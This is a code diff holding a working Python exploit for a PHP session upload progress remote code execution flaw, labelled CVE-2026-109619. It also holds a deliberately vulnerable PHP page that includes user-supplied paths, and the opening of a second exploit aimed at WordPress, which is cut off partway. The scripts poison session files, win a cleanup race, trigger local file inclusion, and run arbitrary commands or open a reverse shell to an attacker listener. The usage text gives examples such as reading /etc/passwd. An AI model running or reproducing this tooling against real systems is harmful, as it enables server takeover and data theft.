|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# HTTP helpers (raw sockets for precision)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _parse_url(url: str):
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
p = urlparse(url)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
if p.query:
|
||||||
|
path += "?" + p.query
|
||||||
|
return host, port, tls, path
|
||||||
|
|
||||||
|
def _connect(host: str, port: int, tls: bool):
|
||||||
|
sock = socket.create_connection((host, port), timeout=10)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
def _recv_response(sock, timeout=5) -> bytes:
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
chunk = sock.recv(8192)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
resp += chunk
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
hdr_end = resp.index(b"\r\n\r\n") + 4
|
||||||
|
headers = resp[:hdr_end]
|
||||||
|
# Check Content-Length
|
||||||
|
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
|
||||||
|
if m:
|
||||||
|
cl = int(m.group(1))
|
||||||
|
body_so_far = len(resp) - hdr_end
|
||||||
|
while body_so_far < cl:
|
||||||
|
more = sock.recv(8192)
|
||||||
|
if not more:
|
||||||
|
break
|
||||||
|
resp += more
|
||||||
|
body_so_far += len(more)
|
||||||
|
break
|
||||||
|
# Check chunked
|
||||||
|
if b'Transfer-Encoding: chunked' in headers:
|
||||||
|
if b"\r\n0\r\n" in resp:
|
||||||
|
break
|
||||||
|
continue
|
||||||
|
# No CL, no chunked — read until timeout
|
||||||
|
try:
|
||||||
|
more = sock.recv(4096)
|
||||||
|
if more:
|
||||||
|
resp += more
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
break
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def _send_http(sock, method: bytes, host: str, path: str,
|
||||||
|
body: bytes = b"", headers: dict = None,
|
||||||
|
content_type: bytes = None, keepalive: bool = True) -> bytes:
|
||||||
|
conn = b"keep-alive" if keepalive else b"close"
|
||||||
|
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
req += b"Host: " + host.encode() + b"\r\n"
|
||||||
|
if content_type:
|
||||||
|
req += b"Content-Type: " + content_type + b"\r\n"
|
||||||
|
if body:
|
||||||
|
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||||
|
req += b"Connection: " + conn + b"\r\n"
|
||||||
|
if headers:
|
||||||
|
for k, v in headers.items():
|
||||||
|
req += f"{k}: {v}\r\n".encode()
|
||||||
|
req += b"\r\n"
|
||||||
|
sock.sendall(req + body)
|
||||||
|
return _recv_response(sock)
|
||||||
|
|
||||||
|
def _extract_cookies(resp: bytes) -> dict:
|
||||||
|
cookies = {}
|
||||||
|
for line in resp.split(b"\r\n"):
|
||||||
|
if line.lower().startswith(b"set-cookie:"):
|
||||||
|
cookie_str = line.split(b":", 1)[1].strip()
|
||||||
|
kv = cookie_str.split(b";")[0]
|
||||||
|
if b"=" in kv:
|
||||||
|
k, v = kv.split(b"=", 1)
|
||||||
|
cookies[k.strip().decode()] = v.strip().decode()
|
||||||
|
return cookies
|
||||||
|
|
||||||
|
def _decode_chunked(data: bytes) -> bytes:
|
||||||
|
out = b""
|
||||||
|
while data:
|
||||||
|
line_end = data.find(b"\r\n")
|
||||||
|
if line_end < 0:
|
||||||
|
break
|
||||||
|
size_str = data[:line_end].split(b";")[0].strip()
|
||||||
|
try:
|
||||||
|
chunk_len = int(size_str, 16)
|
||||||
|
except ValueError:
|
||||||
|
break
|
||||||
|
if chunk_len == 0:
|
||||||
|
break
|
||||||
|
start = line_end + 2
|
||||||
|
out += data[start:start + chunk_len]
|
||||||
|
data = data[start + chunk_len + 2:]
|
||||||
|
return out
|
||||||
|
|
||||||
|
def _extract_body(resp: bytes) -> bytes:
|
||||||
|
if b"\r\n\r\n" not in resp:
|
||||||
|
return b""
|
||||||
|
headers, body = resp.split(b"\r\n\r\n", 1)
|
||||||
|
if b"transfer-encoding: chunked" in headers.lower():
|
||||||
|
return _decode_chunked(body)
|
||||||
|
return body
|
||||||
|
|
||||||
|
def _status_code(resp: bytes) -> int:
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Exploit phases
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def phase1_get_session(sock, host, path) -> str:
|
||||||
|
"""Get a valid PHPSESSID from the target."""
|
||||||
|
resp = _send_http(sock, b"GET", host, path)
|
||||||
|
cookies = _extract_cookies(resp)
|
||||||
|
sid = cookies.get("PHPSESSID")
|
||||||
|
if not sid:
|
||||||
|
body = _extract_body(resp)
|
||||||
|
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
|
||||||
|
if m:
|
||||||
|
sid = m.group(1).decode()
|
||||||
|
return sid
|
||||||
|
|
||||||
|
def phase2_inject(sock, host, path, session_id: str,
|
||||||
|
php_code: bytes) -> tuple:
|
||||||
|
"""Inject PHP code into the session file via upload progress."""
|
||||||
|
body = io.BytesIO()
|
||||||
|
|
||||||
|
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
|
||||||
|
# fields — PHP processes form fields in order and initialises the
|
||||||
|
# progress tracker when it sees this field.
|
||||||
|
body.write(multipart_field(PROGRESS_FIELD, php_code))
|
||||||
|
|
||||||
|
# A file upload is required to trigger the progress write-back.
|
||||||
|
# The callback only writes progress data on FILE_START/DATA/END events.
|
||||||
|
body.write(multipart_file(
|
||||||
|
b"file", b"payload.bin",
|
||||||
|
b"\x00" * 8192,
|
||||||
|
))
|
||||||
|
|
||||||
|
body.write(multipart_end())
|
||||||
|
body_bytes = body.getvalue()
|
||||||
|
|
||||||
|
ct = b"multipart/form-data; boundary=" + BOUNDARY
|
||||||
|
resp = _send_http(
|
||||||
|
sock, b"POST", host, path,
|
||||||
|
body=body_bytes,
|
||||||
|
content_type=ct,
|
||||||
|
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||||||
|
keepalive=True,
|
||||||
|
)
|
||||||
|
return _status_code(resp), _extract_body(resp)
|
||||||
|
|
||||||
|
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
|
||||||
|
"""Send a slow multipart upload to keep session file populated.
|
||||||
|
|
||||||
|
Used for race condition against cleanup=1: the session file contains
|
||||||
|
our PHP code during the entire upload. A concurrent request can
|
||||||
|
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
|
||||||
|
"""
|
||||||
|
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
||||||
|
sock = _connect(host, port, tls)
|
||||||
|
|
||||||
|
# Build progress field + start of file upload
|
||||||
|
head = b""
|
||||||
|
head += (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
|
||||||
|
b"\r\n" + php_code + b"\r\n")
|
||||||
|
head += (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n")
|
||||||
|
|
||||||
|
file_size = 1024 * 1024
|
||||||
|
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||||
|
total_body = len(head) + file_size + len(tail)
|
||||||
|
|
||||||
|
req = (
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(total_body).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
sock.sendall(req + head)
|
||||||
|
|
||||||
|
chunk = b"\x00" * 4096
|
||||||
|
sent = 0
|
||||||
|
start_time = time.time()
|
||||||
|
try:
|
||||||
|
while sent < file_size and (time.time() - start_time) < duration:
|
||||||
|
to_send = min(4096, file_size - sent)
|
||||||
|
sock.sendall(chunk[:to_send])
|
||||||
|
sent += to_send
|
||||||
|
time.sleep(0.05)
|
||||||
|
sock.sendall(tail)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
_recv_response(sock, timeout=2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
|
||||||
|
def phase3_include(sock, host, path, session_id: str,
|
||||||
|
session_path: str, lfi_param: str) -> tuple:
|
||||||
|
"""Trigger LFI to include the poisoned session file."""
|
||||||
|
sess_file = f"{session_path}/sess_{session_id}"
|
||||||
|
inc_path = f"{path}?{lfi_param}={sess_file}"
|
||||||
|
|
||||||
|
resp = _send_http(
|
||||||
|
sock, b"GET", host, inc_path,
|
||||||
|
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||||||
|
keepalive=False,
|
||||||
|
)
|
||||||
|
return _status_code(resp), _extract_body(resp)
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Session path discovery
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def discover_session_path(sock, host, path, session_id: str,
|
||||||
|
lfi_param: str, paths: list) -> str:
|
||||||
|
"""Try common session save paths to find the right one."""
|
||||||
|
for sp in paths:
|
||||||
|
sess_file = f"{sp}/sess_{session_id}"
|
||||||
|
inc_path = f"{path}?{lfi_param}={sess_file}"
|
||||||
|
resp = _send_http(
|
||||||
|
sock, b"GET", host, inc_path,
|
||||||
|
headers={"Cookie": f"PHPSESSID={session_id}"},
|
||||||
|
keepalive=True,
|
||||||
|
)
|
||||||
|
body = _extract_body(resp)
|
||||||
|
status = _status_code(resp)
|
||||||
|
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
|
||||||
|
return sp
|
||||||
|
return ""
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Main
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def run(target: str, lhost: str, lport: int, trigger_only: bool,
|
||||||
|
cmd: str, lfi_param: str, session_path: str, attempts: int,
|
||||||
|
race: bool = False):
|
||||||
|
|
||||||
|
host, port, tls, path = _parse_url(target)
|
||||||
|
|
||||||
|
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
|
||||||
|
print(f"[*] Target: {target}")
|
||||||
|
if trigger_only:
|
||||||
|
print(f"[*] Mode: trigger-only (inject code, report path)")
|
||||||
|
elif cmd:
|
||||||
|
print(f"[*] Mode: command execution")
|
||||||
|
print(f"[*] Command: {cmd}")
|
||||||
|
else:
|
||||||
|
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
|
||||||
|
if race:
|
||||||
|
print(f"[*] Race: enabled (works with cleanup=1)")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Build payload
|
||||||
|
if trigger_only:
|
||||||
|
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
|
||||||
|
elif cmd:
|
||||||
|
cmd_safe = cmd.replace('"', '\\"')
|
||||||
|
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
|
||||||
|
else:
|
||||||
|
if not lhost or not lport:
|
||||||
|
print("[!] --lhost and --lport required for reverse shell mode")
|
||||||
|
sys.exit(1)
|
||||||
|
php_code = make_reverse_shell_payload(lhost, lport)
|
||||||
|
|
||||||
|
# Race condition mode: send slow upload + concurrent LFI
|
||||||
|
if race and lfi_param:
|
||||||
|
return _run_race(host, port, tls, path, php_code, lfi_param,
|
||||||
|
session_path, cmd, lhost, lport, trigger_only, attempts)
|
||||||
|
|
||||||
|
for attempt in range(1, attempts + 1):
|
||||||
|
if attempts > 1:
|
||||||
|
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||||||
|
|
||||||
|
sock = _connect(host, port, tls)
|
||||||
|
|
||||||
|
# Phase 1: Get session ID
|
||||||
|
print("[*] Phase 1: Obtaining session ID...")
|
||||||
|
sid = phase1_get_session(sock, host, path)
|
||||||
|
if not sid:
|
||||||
|
sid = os.urandom(13).hex()
|
||||||
|
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
|
||||||
|
else:
|
||||||
|
print(f"[+] PHPSESSID: {sid}")
|
||||||
|
|
||||||
|
# Phase 2: Inject PHP code via upload progress
|
||||||
|
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
|
||||||
|
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
|
||||||
|
status, body = phase2_inject(sock, host, path, sid, php_code)
|
||||||
|
print(f" Response: HTTP {status}")
|
||||||
|
|
||||||
|
if status == 200:
|
||||||
|
print("[+] Upload progress request accepted — code injected into session file")
|
||||||
|
elif status == 502:
|
||||||
|
print("[!] 502 — worker crashed. Retrying...")
|
||||||
|
sock.close()
|
||||||
|
time.sleep(0.5)
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
print(f"[!] Unexpected status {status}")
|
||||||
|
|
||||||
|
if trigger_only:
|
||||||
|
print()
|
||||||
|
print("[+] Session file poisoned successfully.")
|
||||||
|
print(f"[*] Session ID: {sid}")
|
||||||
|
print(f"[*] The session file contains injected PHP code.")
|
||||||
|
print(f"[*] Common session file locations:")
|
||||||
|
for sp in DEFAULT_SESSION_PATHS:
|
||||||
|
print(f" {sp}/sess_{sid}")
|
||||||
|
print()
|
||||||
|
print("[*] To verify, include the session file via LFI:")
|
||||||
|
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
|
||||||
|
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
|
||||||
|
print()
|
||||||
|
print("[*] Or check the file directly on the target server:")
|
||||||
|
print(f" cat /tmp/sess_{sid}")
|
||||||
|
print(f" strings /var/lib/php/sessions/sess_{sid}")
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Phase 3: Trigger inclusion
|
||||||
|
if not lfi_param:
|
||||||
|
print()
|
||||||
|
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
|
||||||
|
print(f"[*] Trigger manually: include the session file via LFI")
|
||||||
|
print(f" {target}?PARAM={session_path}/sess_{sid}")
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
|
||||||
|
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
|
||||||
|
|
||||||
|
if not session_path:
|
||||||
|
print("[*] No --session-path given, trying common paths...")
|
||||||
|
session_path = discover_session_path(
|
||||||
|
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
|
||||||
|
if session_path:
|
||||||
|
print(f"[+] Found session path: {session_path}")
|
||||||
|
else:
|
||||||
|
print("[!] Could not auto-detect session path. Try --session-path")
|
||||||
|
sock.close()
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Need a fresh connection (the POST consumed the keepalive)
|
||||||
|
try:
|
||||||
|
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
sock.close()
|
||||||
|
sock = _connect(host, port, tls)
|
||||||
|
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
||||||
|
|
||||||
|
print(f" Response: HTTP {status}")
|
||||||
|
body_text = body.decode(errors='replace')
|
||||||
|
|
||||||
|
if "CVE-2026-109619:" in body_text:
|
||||||
|
# Trigger-only canary found in output
|
||||||
|
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
||||||
|
marker = marker.split("|")[0].split("\x00")[0][:200]
|
||||||
|
print(f"[+] CODE EXECUTION CONFIRMED!")
|
||||||
|
print(f" Output: {marker}")
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
elif cmd and status == 200:
|
||||||
|
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||||||
|
if m:
|
||||||
|
output = m.group(1).strip()
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(output)
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
elif "upload_progress_" in body_text:
|
||||||
|
print(f"[+] Session file included but code may not have executed")
|
||||||
|
print(f" (serialized session data visible in response)")
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"[!] Inclusion did not produce expected output. Body preview:")
|
||||||
|
print(f" {body_text[:300]}")
|
||||||
|
elif not cmd and not trigger_only and status == 200:
|
||||||
|
print(f"[*] Request sent — check listener on {lhost}:{lport}")
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"[!] Inclusion may have failed. Body preview:")
|
||||||
|
print(f" {body_text[:200]}")
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
print()
|
||||||
|
|
||||||
|
print()
|
||||||
|
if trigger_only:
|
||||||
|
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
|
||||||
|
elif cmd or (lhost and lport):
|
||||||
|
print("[*] Done. If RCE did not fire, check:")
|
||||||
|
print(" - session.upload_progress.enabled = 1")
|
||||||
|
print(" - session.serialize_handler = php (default)")
|
||||||
|
print(" - LFI parameter name (--lfi-param)")
|
||||||
|
print(" - Session save path (--session-path)")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _run_race(host, port, tls, path, php_code, lfi_param,
|
||||||
|
session_path, cmd, lhost, lport, trigger_only, attempts):
|
||||||
|
"""Race condition mode: works with session.upload_progress.cleanup=1.
|
||||||
|
|
||||||
|
Sends a slow multipart upload to keep the session file populated with
|
||||||
|
our PHP code, while concurrently trying to include it via LFI.
|
||||||
|
"""
|
||||||
|
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
|
||||||
|
|
||||||
|
for attempt in range(1, attempts + 1):
|
||||||
|
if attempts > 1:
|
||||||
|
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||||||
|
|
||||||
|
sid = os.urandom(16).hex()
|
||||||
|
print(f"[+] Session ID: {sid}")
|
||||||
|
|
||||||
|
# Start slow upload in background thread
|
||||||
|
print("[*] Starting slow upload (keeps session file alive)...")
|
||||||
|
upload_thread = threading.Thread(
|
||||||
|
target=phase2_inject_slow,
|
||||||
|
args=(host, port, tls, path, sid, php_code, 8.0),
|
||||||
|
daemon=True,
|
||||||
|
)
|
||||||
|
upload_thread.start()
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
# Race: try LFI repeatedly while upload is in progress
|
||||||
|
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
|
||||||
|
lfi_sid = os.urandom(16).hex()
|
||||||
|
print("[*] Racing LFI requests against upload...")
|
||||||
|
hit = False
|
||||||
|
for i in range(100):
|
||||||
|
if not upload_thread.is_alive():
|
||||||
|
break
|
||||||
|
for sp in spaths:
|
||||||
|
sess_file = f"{sp}/sess_{sid}"
|
||||||
|
url = f"{path}?{lfi_param}={sess_file}"
|
||||||
|
try:
|
||||||
|
sock = _connect(host, port, tls)
|
||||||
|
resp = _send_http(
|
||||||
|
sock, b"GET", host, url,
|
||||||
|
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
||||||
|
keepalive=False,
|
||||||
|
)
|
||||||
|
sock.close()
|
||||||
|
body = _extract_body(resp)
|
||||||
|
body_text = body.decode(errors="replace")
|
||||||
|
|
||||||
|
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
|
||||||
|
hit = True
|
||||||
|
if "CVE-2026-109619:" in body_text:
|
||||||
|
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
||||||
|
marker = marker.split("|")[0][:200]
|
||||||
|
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
|
||||||
|
print(f" {marker}")
|
||||||
|
elif "CVE2026:" in body_text:
|
||||||
|
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||||||
|
if m:
|
||||||
|
result = m.group(1).strip()
|
||||||
|
else:
|
||||||
|
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
|
||||||
|
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
|
||||||
|
print(result)
|
||||||
|
print("[+] ═════════════════════════════════════════════")
|
||||||
|
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
||||||
|
return True
|
||||||
|
elif b"upload_progress_" in body:
|
||||||
|
print(f" [+] Session file found at {sp} — content visible")
|
||||||
|
if trigger_only:
|
||||||
|
print(f"[+] Session poisoning confirmed (race won)")
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(0.02)
|
||||||
|
|
||||||
|
upload_thread.join(timeout=2)
|
||||||
|
|
||||||
|
if hit:
|
||||||
|
return True
|
||||||
|
print(f" Race lost on attempt {attempt}")
|
||||||
|
|
||||||
|
print("[!] Race condition failed after all attempts")
|
||||||
|
print(" Try: --attempts 10 or check --session-path")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
p = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109619: PHP session upload progress → RCE",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
|
||||||
|
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
|
||||||
|
%(prog)s -t http://target/app.php --trigger-only
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||||||
|
""")
|
||||||
|
p.add_argument("--target", "-t", required=True,
|
||||||
|
help="Target URL (PHP endpoint with session_start())")
|
||||||
|
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
||||||
|
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
||||||
|
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
|
||||||
|
p.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Inject code into session file only — no inclusion/RCE")
|
||||||
|
p.add_argument("--lfi-param", default="",
|
||||||
|
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
|
||||||
|
p.add_argument("--session-path", default="",
|
||||||
|
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
|
||||||
|
p.add_argument("--race", action="store_true",
|
||||||
|
help="Race condition mode — works with cleanup=1 (default config)")
|
||||||
|
p.add_argument("--attempts", type=int, default=3,
|
||||||
|
help="Number of attempts (default 3)")
|
||||||
|
args = p.parse_args()
|
||||||
|
|
||||||
|
if not args.trigger_only and not args.cmd and not args.lhost:
|
||||||
|
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
run(args.target, args.lhost, args.lport, args.trigger_only,
|
||||||
|
args.cmd, args.lfi_param, args.session_path, args.attempts,
|
||||||
|
race=args.race)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
<?php
|
||||||
|
session_start();
|
||||||
|
$pid = getmypid();
|
||||||
|
|
||||||
|
if (isset($_GET['page'])) {
|
||||||
|
include($_GET['page']);
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "pid=$pid sid=" . session_id() . "\n";
|
||||||
Executable
+492
@@ -0,0 +1,492 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
|
||||||
|
|
||||||
|
Demonstrates both PHP session upload progress vulnerabilities against a
|
||||||
|
WordPress target that has:
|
||||||
|
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
|
||||||
|
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
|
||||||
|
|
||||||
|
Two attack modes:
|
||||||
|
|
||||||
|
OOM mode (CVE-2026-109618)
|
||||||
|
Floods multipart fields to OOM PHP during parsing. zend_bailout()
|
||||||
|
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
|
||||||
|
session file with PHP code persists on disk. Second request
|
||||||
|
includes it via LFI. Works with session.upload_progress.cleanup=1.
|
||||||
|
|
||||||
|
Race mode (CVE-2026-109619)
|
||||||
|
Sends a slow multipart upload that keeps the session file populated
|
||||||
|
while concurrent LFI requests race to include it before cleanup.
|
||||||
|
Works with session.upload_progress.cleanup=1. Lower field count,
|
||||||
|
no OOM needed.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
# OOM mode (default) — 'id' command
|
||||||
|
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
|
||||||
|
|
||||||
|
# Race mode — reverse shell
|
||||||
|
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
|
||||||
|
--lhost 10.0.0.1 --lport 4444
|
||||||
|
|
||||||
|
# Custom LFI parameter and session path
|
||||||
|
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
|
||||||
|
--lfi-param dt_template --session-path /tmp/php-sessions
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
# ─── defaults ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
WP_SESSION_PATHS = [
|
||||||
|
"/tmp",
|
||||||
|
"/tmp/php-sessions",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
]
|
||||||
|
|
||||||
|
WP_LFI_PARAMS = [
|
||||||
|
"dt_template",
|
||||||
|
"page",
|
||||||
|
"template",
|
||||||
|
"file",
|
||||||
|
"tpl",
|
||||||
|
"include",
|
||||||
|
"path",
|
||||||
|
]
|
||||||
|
|
||||||
|
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
|
||||||
|
OOM_FIELD_SIZE = 1024
|
||||||
|
OOM_FIELDS_64M = 40000
|
||||||
|
OOM_FIELDS_128M = 80000
|
||||||
|
|
||||||
|
# ─── HTTP / multipart helpers ────────────────────────────────────────
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls=False, timeout=30):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=10):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def status_code(resp):
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def body_of(resp):
|
||||||
|
if b"\r\n\r\n" not in resp:
|
||||||
|
return resp
|
||||||
|
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||||
|
if b"transfer-encoding: chunked" in hdr.lower():
|
||||||
|
out, data = b"", raw
|
||||||
|
while data:
|
||||||
|
nl = data.find(b"\r\n")
|
||||||
|
if nl < 0:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||||
|
except ValueError:
|
||||||
|
break
|
||||||
|
if clen == 0:
|
||||||
|
break
|
||||||
|
out += data[nl+2:nl+2+clen]
|
||||||
|
data = data[nl+2+clen+2:]
|
||||||
|
return out
|
||||||
|
return raw
|
||||||
|
|
||||||
|
|
||||||
|
def http_get(host, port, tls, path, headers=None, timeout=10):
|
||||||
|
sock = tcp_connect(host, port, tls, timeout)
|
||||||
|
req = (
|
||||||
|
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
)
|
||||||
|
if headers:
|
||||||
|
for k, v in headers.items():
|
||||||
|
req += f"{k}: {v}\r\n".encode()
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req)
|
||||||
|
resp = recv_all(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def mp_field(bnd, name, value):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
